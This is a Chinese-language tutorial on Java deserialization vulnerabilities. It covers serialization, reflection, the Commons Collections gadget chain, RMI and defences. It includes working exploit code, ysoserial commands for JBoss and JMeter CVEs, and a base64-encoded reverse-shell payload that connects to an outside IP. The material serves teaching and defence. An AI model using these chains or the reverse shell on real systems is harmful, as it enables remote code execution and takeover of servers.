Java反序列化漏洞原理解析
字数 1311 2025-08-25 22:58:40
Java反序列化漏洞原理解析
Java序列化与反序列化基础
序列化与反序列化过程
Java序列化是指把Java对象转换为字节序列的过程,主要通过ObjectOutputStream类的writeObject()方法实现。反序列化则是把字节序列恢复为Java对象的过程,使用ObjectInputStream类的readObject()方法。
关键点:
- 只有实现了
java.io.Serializable接口的类才能被序列化 - 使用
transient关键字修饰的属性不参与序列化过程 - 序列化后的二进制数据可以保存到文件或通过网络传输
基本示例
// 可序列化的类
public class User implements Serializable {
private String name;
// getter和setter方法
}
// 序列化和反序列化操作
public class Main {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName("leixiao");
// 序列化
byte[] serializeData = serialize(user);
FileOutputStream fout = new FileOutputStream("user.bin");
fout.write(serializeData);
fout.close();
// 反序列化
User user2 = (User) unserialize(serializeData);
System.out.println(user2.getName());
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}
readObject()方法的安全风险
readObject()方法是反序列化漏洞的关键点。如果某个类重写了readObject()方法且实现不当,就可能执行恶意代码:
public class Evil implements Serializable {
public String cmd;
private void readObject(java.io.ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
Runtime.getRuntime().exec(cmd); // 恶意代码执行点
}
}
Java反射机制
Java反射机制允许程序在运行时获取类的信息并动态调用对象方法,这是构造反序列化利用链的重要基础。
反射基础操作
// 获取类对象
Class UserClass = Class.forName("reflection.User");
// 创建对象实例
Constructor constructor = UserClass.getConstructor(String.class);
User user = (User) constructor.newInstance("leixiao");
// 调用方法
Method method = UserClass.getDeclaredMethod("setName", String.class);
method.invoke(user, "l3yx");
// 访问属性
Field field = UserClass.getDeclaredField("name");
field.setAccessible(true); // 对私有属性需要设置可访问
field.set(user, "l3yx");
通过反射执行系统命令
// 等价于 Runtime.getRuntime().exec("calc.exe");
Class runtimeClass = Class.forName("java.lang.Runtime");
Object runtime = runtimeClass.getMethod("getRuntime").invoke(null);
runtimeClass.getMethod("exec", String.class).invoke(runtime, "calc.exe");
Apache Commons Collections反序列化漏洞分析
关键类分析
- InvokerTransformer
- 通过反射调用任意方法
- transform方法实现:
public Object transform(Object input) {
if (input == null) {
return null;
}
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
- ConstantTransformer
- 总是返回固定值
- transform方法:
public Object transform(Object input) {
return iConstant;
}
- ChainedTransformer
- 将多个Transformer串联执行
- transform方法:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
构造利用链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, null}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
chain.transform(null); // 执行命令
完整利用链构造
- 通过TransformedMap触发:
Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);
Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("x"); // 触发命令执行
- 通过AnnotationInvocationHandler触发(JDK 1.7):
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);
// 序列化对象
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
实际漏洞利用场景
常见触发场景
- HTTP请求中的参数
- RMI(Java远程方法调用)
- JMX(Java管理扩展)
- 自定义协议接收/发送Java对象
工具使用
ysoserial:生成各种Java反序列化利用链
java -jar ysoserial.jar CommonsCollections5 "command" > payload.ser
漏洞复现示例
-
JBoss 5.x/6.x反序列化漏洞(CVE-2017-12149)
- 漏洞出现在
/invoker/readonly请求中 - 使用ysoserial生成payload:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTExLnh4eC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser - 漏洞出现在
-
Jmeter RMI反序列化漏洞(CVE-2018-1297)
- 利用RMI服务进行攻击:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit target_ip 1099 BeanShell1 "command"
RMI基础与安全
RMI基本概念
- Java RMI用于实现远程方法调用
- 使用JRMP协议通信
- 默认监听1099端口(Registry)
- 远程对象通信端口随机分配
RMI交互流程
- 服务端注册远程对象到Registry
- 客户端从Registry获取Stub
- 通过Stub调用远程方法
RMI示例代码
服务端:
User user = new User();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("user", user);
客户端:
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
IUser user = (IUser)registry.lookup("user");
user.setName("leixiao");
防御措施
- 升级有漏洞的组件版本
- 对反序列化操作进行白名单控制
- 使用安全的替代序列化方案
- 对输入数据进行严格验证
- 使用安全管理器限制敏感操作
总结
Java反序列化漏洞的核心在于:
- 重写
readObject()方法可能引入执行点 - 利用反射机制动态调用危险方法
- 通过精心构造的利用链将反序列化操作导向恶意代码执行
- 常见于RMI、JMX等Java远程调用场景
理解这些原理对于挖掘和防御Java反序列化漏洞至关重要。